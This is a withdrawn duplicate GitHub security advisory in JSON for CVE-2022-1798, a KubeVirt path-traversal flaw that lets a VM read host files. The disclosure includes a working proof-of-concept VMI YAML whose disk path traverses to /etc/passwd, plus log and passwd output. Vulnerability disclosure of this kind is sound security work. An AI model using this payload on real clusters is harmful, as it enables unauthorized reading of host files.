CVE-2022-1798: Duplicate Advisory KubeVirt Arbitrary Host File Read Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cvx8-ppmc-78hm",
  "modified" : "2022-09-30T00:44:46Z",
  "published" : "2022-08-18T19:02:18Z",
  "withdrawn" : "2022-09-30T00:44:46Z",
  "aliases" : [ "CVE-2022-1798" ],
  "summary" : "Duplicate Advisory: KubeVirt arbitrary host file read from the VM",
  "details" : "## Duplicate Advisory\nThis advisory is a duplicate of [GHSA-qv98-3369-g364](https://github.com/advisories/GHSA-qv98-3369-g364). This link is maintained to preserve external references.\n\n## Original Description\n\n**Summary**\nAs part of a Kubevirt audit performed by NCC group, a finding dealing with systemic lack of path sanitization which leads to a path traversal was identified.  Google tested the exploitability of the paths in the audit report and identified that when combined with another vulnerability one of the paths leads to an arbitrary file read on the host from the VM.\n\nThe read operations are limited to files which are publicly readable or which are readable for UID 107 or GID 107. /proc/self/<> is not accessible.\n\n**Severity**\n\nModerate - The vulnerability is proven to exist in an open source version of KubeVirt by NCC Group while being combined with Systemic Lack of Path Sanitization, which leads to Path traversal.\n\n**Proof of Concept**\n\nThe initial VMI specifications can be written as such to reproduce the issue:\n\n```\n\napiVersion: kubevirt.io/v1\nkind: VirtualMachineInstance\nmetadata:\n  name: vmi-fedora\nspec:\n  domain:\n    devices:\n      disks:\n      - disk:\n          bus: virtio\n        name: containerdisk\n      - disk:\n          bus: virtio\n        name: cloudinitdisk\n      - disk:\n          bus: virtio\n        name: containerdisk1\n      rng: {}\n    resources:\n      requests:\n        memory: 1024M\n  terminationGracePeriodSeconds: 0\n  volumes:\n  - containerDisk:\n      image: quay.io/kubevirt/cirros-container-disk-demo:v0.52.0\n    name: containerdisk\n  - containerDisk:\n      image: quay.io/kubevirt/cirros-container-disk-demo:v0.52.0\n      path: test3/../../../../../../../../etc/passwd\n    name: containerdisk1\n  - cloudInitNoCloud:\n      userData: |\n        #!/bin/sh\n        echo 'just something to make cirros happy'\n    name: cloudinitdisk\n\n\n```\nThe VMI can then be started through kubectl apply -f vm-test-ncc.yaml.\nThe requested file is accessible once the VM is up and can be accessed under /dev/vdc.\n\nDepending on the environment, path may contain more or less /.., something that can easily be tested by checking the events until the VMI can start without failure.\nRestrictions \n\nSELinux may mitigate this vulnerability.\n\nWhen using a node with selinux, selinux denies the access and the VM start was aborted:\n\n```\n\n19s         Warning   SyncFailed                virtualmachineinstance/vmi-fedora    server error. command SyncVMI failed: \"preparing ephemeral container disk images failed: stat /var/run/kubevirt/container-disks/disk_0.img: permission denied\"\n\ntype=AVC msg=audit(1651828898.296:1266): avc:  denied  { setattr } for  pid=44402 comm=\"rpc-worker\" name=\"passwd\" dev=\"vda1\" ino=691477 scontext=system_u:system_r:virt_launcher.process:s0:c255,c849 tcontext=system_u:object_r:passwd_file_t:s0 tclass=file permissive=1\n\n```\n\nAfter making selinux permissive the VM can boot and access /etc/passwd from the node within the guest:\n\n```\n\n$ sudo cat /dev/vdc\nroot:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\n[...]\n\n```\n\n**Further Analysis**\nIn order to mitigate this vulnerability, Sanitize imagePath in pkg/container-disk/container-disk.go following ISE best practices described and Add checks in pkg/virt-api/webhooks/validating-webhook/admitters/vmi-create-admitter.go\n\n**Timeline**\nDate reported: 05/10/2022\nDate fixed: N/A\nDate disclosed: 08/08/2022",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "kubevirt.io/kubevirt"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.20.0"
      }, {
        "fixed" : "0.55.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/google/security-research/security/advisories/GHSA-cvx8-ppmc-78hm"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kubevirt/kubevirt/security/advisories/GHSA-qv98-3369-g364"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2022-1798"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/kubevirt/kubevirt"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2022-08-18T19:02:18Z",
    "nvd_published_at" : "2022-09-15T16:15:00Z"
  }
}